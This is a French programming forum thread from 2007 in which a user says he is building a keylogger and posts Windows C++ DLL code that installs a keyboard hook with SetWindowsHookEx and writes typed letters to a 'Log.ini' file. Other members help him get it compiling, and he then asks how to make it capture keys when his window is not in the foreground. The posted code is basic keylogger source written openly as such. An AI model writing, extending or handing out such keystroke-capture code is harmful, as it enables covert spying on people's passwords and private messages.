begin process at 2010 03 21 00:05:23
  Trouver un code source :
 
dans
 
Accueil > Forum > 

C++ & C++ .NET

 > 

Windows

 > 

Autre

 > 

Hook clavier


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

Hook clavier

lundi 26 février 2007 à 01:12:29 | Hook clavier

krokro6

Salut à tous, j'essaye de faire un petit keylogger, mais ce code ne marche pas :

#include <windows.h>

#define DLLEXPORT  __declspec (dllexport)

HHOOK Hook;
HINSTANCE hInst;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if(fdwReason == DLL_PROCESS_ATTACH)
        hInst = hinstDLL;
    return true;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode >= 0)
    {
        switch(wParam)
        {
            case 'A' : MessageBox(0, "A", 0,0); break;
        }
    }

    return CallNextHookEx(Hook, nCode, wParam, lParam);
}

// a sample exported function
void DLLEXPORT SomeFunction(const LPCSTR sometext)
{
    MessageBox(0, sometext, "DLL Message", MB_OK | MB_ICONINFORMATION);
}

int DLLEXPORT InitHook()
{
    if(!Hook)
    Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInst, 0);
    return (int) Hook;
}

void DLLEXPORT EndHook()
{
    if(Hook)
    UnhookWindowsHookEx(Hook);
}

je ne comprend pas pourquoi, merci de bien vouloir m'aider .
lundi 26 février 2007 à 12:10:33 | Re : Hook clavier

Joky

Membre Club
Bé ça c'est une DLL
C'est pas un executable à proprememt parler...

#include

lundi 26 février 2007 à 14:12:39 | Re : Hook clavier

krokro6

Salut et merci d'avoir répondu, je le sais ça que c'est une dll
 J'apelle la fonction InitHook à partir de mon client mais ça ne marche pas.
lundi 26 février 2007 à 16:45:17 | Re : Hook clavier

racpp

Administrateur CodeS-SourceS
Réponse acceptée !
Salut,
Certains outils comme Dev C++ génèrent des DLLs de hook non fontionnel. Tu peux regarder l'un de mes codes sources avec hook sans DLL:
Hook Sans DLL
Volume OSD

lundi 26 février 2007 à 16:54:56 | Re : Hook clavier

krokro6

Salut, je viens de voir ta source qui est très bien ( et que j'utiliserai si ce code ne marche pas ) mais pour l'instant j'aimerai savoir pourquoi ce code ne marche pas ?, je ne comprend vraiment pas .
lundi 26 février 2007 à 17:23:35 | Re : Hook clavier

racpp

Administrateur CodeS-SourceS
Réponse acceptée !
Ton code parait correct. Tu utilises quel outil? Si c'est Dev C++, c'est normal car la DLL de hook est mal générée. Dans ce cas, on ne peut rien faire puisque c'est un problème interne de Dev C++.


lundi 26 février 2007 à 17:26:42 | Re : Hook clavier

krokro6

Problème réglé, ce code ne marche pas avec code block mais sous VC++ il marche très bien .

Merci à vous.
lundi 26 février 2007 à 18:41:24 | Re : Hook clavier

krokro6

Re à tous, j'ai un autre problème dans ce code :

#include <windows.h>
#include <string>
#include <iostream>
#include <fstream>

using namespace std;

#define DLLEXPORT  __declspec (dllexport)

HHOOK Hook;
HINSTANCE hInst;

ofstream Fichier;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if(fdwReason == DLL_PROCESS_ATTACH)
        hInst = hinstDLL;
    return true;
}

void WriteToFile(string Lettre)
{
    Fichier << Lettre;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode >= 0)
    {
        if ( ((DWORD)lParam & 1<<30) != FALSE )
        {
            return CallNextHookEx(Hook, nCode, wParam, lParam);
        }

        switch(wParam)
        {
            case 'A' : WriteToFile("a"); break;
            case 'B' : WriteToFile("b"); break;
            case 'C' : WriteToFile("c"); break;
            case 'D' : WriteToFile("d"); break;
            case 'E' : WriteToFile("e"); break;
            case 'F' : WriteToFile("f"); break;
            case 'G' : WriteToFile("g"); break;
            case 'H' : WriteToFile("h"); break;
            case 'I' : WriteToFile("i"); break;
            case 'J' : WriteToFile("j"); break;
            case 'K' : WriteToFile("k"); break;
            case 'L' : WriteToFile("l"); break;
            case 'M' : WriteToFile("m"); break;
            case 'N' : WriteToFile("n"); break;
            case 'O' : WriteToFile("o"); break;
            case 'P' : WriteToFile("p"); break;
            case 'Q' : WriteToFile("q"); break;
            case 'R' : WriteToFile("r"); break;
            case 'S' : WriteToFile("s"); break;
            case 'T' : WriteToFile("t"); break;
            case 'U' : WriteToFile("u"); break;
            case 'V' : WriteToFile("v"); break;
            case 'W' : WriteToFile("w"); break;
            case 'X' : WriteToFile("x"); break;
            case 'Y' : WriteToFile("y"); break;
            case 'Z' : WriteToFile("z"); break;

            case VK_SPACE : WriteToFile(" "); break;
        }
    }

    return CallNextHookEx(Hook, nCode, wParam, lParam);
}

int DLLEXPORT InitHook()
{
    Fichier.open ("Log.ini", ios::out);
    if(!Hook)
        Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInst, 0);
    return (int) Hook;
}

void DLLEXPORT EndHook()
{
    Fichier.close();
    if(Hook)
        UnhookWindowsHookEx(Hook);
}

Pourquoi ce code marche-il que lorsque ma fenêtre est au premier plan ?
N'y aurait-il aucun moyen pour empecher cela

Merci de votre aide.
jeudi 8 mars 2007 à 15:40:34 | Re : Hook clavier

cotmar

Salut,

Tu pourrais expliquer ce qu'est exactement un keylogger ? A ce qu'il me semble tu as l'air de réaliser un système qui permet d'intercepter les caratères tappés au clavier, de manière à transformer toutes les lettre tappées en majuscule en eur équivalent minuscules ?

A bientôt.

Cotmar.

jeudi 8 mars 2007 à 19:35:02 | Re : Hook clavier

krokro6

Salut, un keylogger est un programme qui intercepte la touche du clavié qui est apuiyée et qui écrit cette touche dans un fichier.

Enfin pour moi c'est ça, après pour les autres ça peut être autre chose ^^.

1 2

Cette discussion est classée dans : wparam, return, hook, hinst, dllexport


Répondre à ce message

Sujets en rapport avec ce message

probleme hook clavier [ par bou3 ] bonjour,je realise un hook clavier dans le cadre de mon stage.je realise en ce moment mon application principale, et quand je lance mon hook il ne fon Hook clavier et fenêtre premier plan [ par krokro6 ] Salut à tous, j'ai un petit problème avec ce code la : #include #include #include #include using namespace std;#define DLLEXPORT  __declsp Dialogu box capricieuse [ par julienbornet ] Bonjour j'ai un probleme d'affichage dans une dialogu box. Ceci est ma dialogu box tel que je la dessine sous visual studio:<IMG alt="" hspace=0 src=" Hook clavier sous windows [ par gamani5 ] sltje sais il y a deja beaucoup de tuto sur le sujet mais j en ai lu plein mais j ai toujours un probleme, j arrive a detecter l utilisation d une tou Hook messages de windows [ par deck_bsd ] Bonjour a tous,Voila je suis sur le point de finir mon 1er hook, mais voila , il ne fonctionne que une fois. Il intercepte une fois le message voulu ( Fenetre windows en cpp [ par FeelCode ] bon j'essaye de cree une fenetre windows tout simple mai j'ai un probleme de convertion voir le code plus bas.//************************************** Hook WH_MOUSE_LL [ par vecchio56 ] Bonjour,J'utilise un hook bas niveau de type WH_MOUSE_LL, et j'ai un problème lorque je cherche a fermer ma fenêtre principale (la souris se bloque). Dialog fenetre enfant qui bloque [ par NairodDorian ] Bonjour,Mon probleme est le suivant, j'utilises les resources avec des dialog et je voudrai affiche un dialogue defini par Child dans les proprietes d HOOK: Problème de cast C2440 [ par RV2931 ] Bonjour,Je fais uen petite appli OpenGL. J'ai crée une classe qui affiche de l'OpenGL dans n'importe quel composant (HWND) de l'interface, bref. Je vo apiwin [ par youma85 ] salut tous le monde je suis un débutant dans la programmation windows et je vient de compilet un programme  on me donne toujours ce message:projet4\ma


Nos sponsors


Sondage...

Comparez les prix


HTC Magic

Entre 429€ et 429€

CalendriCode

Mars 2010
LMMJVSD
1234567
891011121314
15161718192021
22232425262728
293031    

Consulter la suite du CalendriCode

Photothèque

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 2,668 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales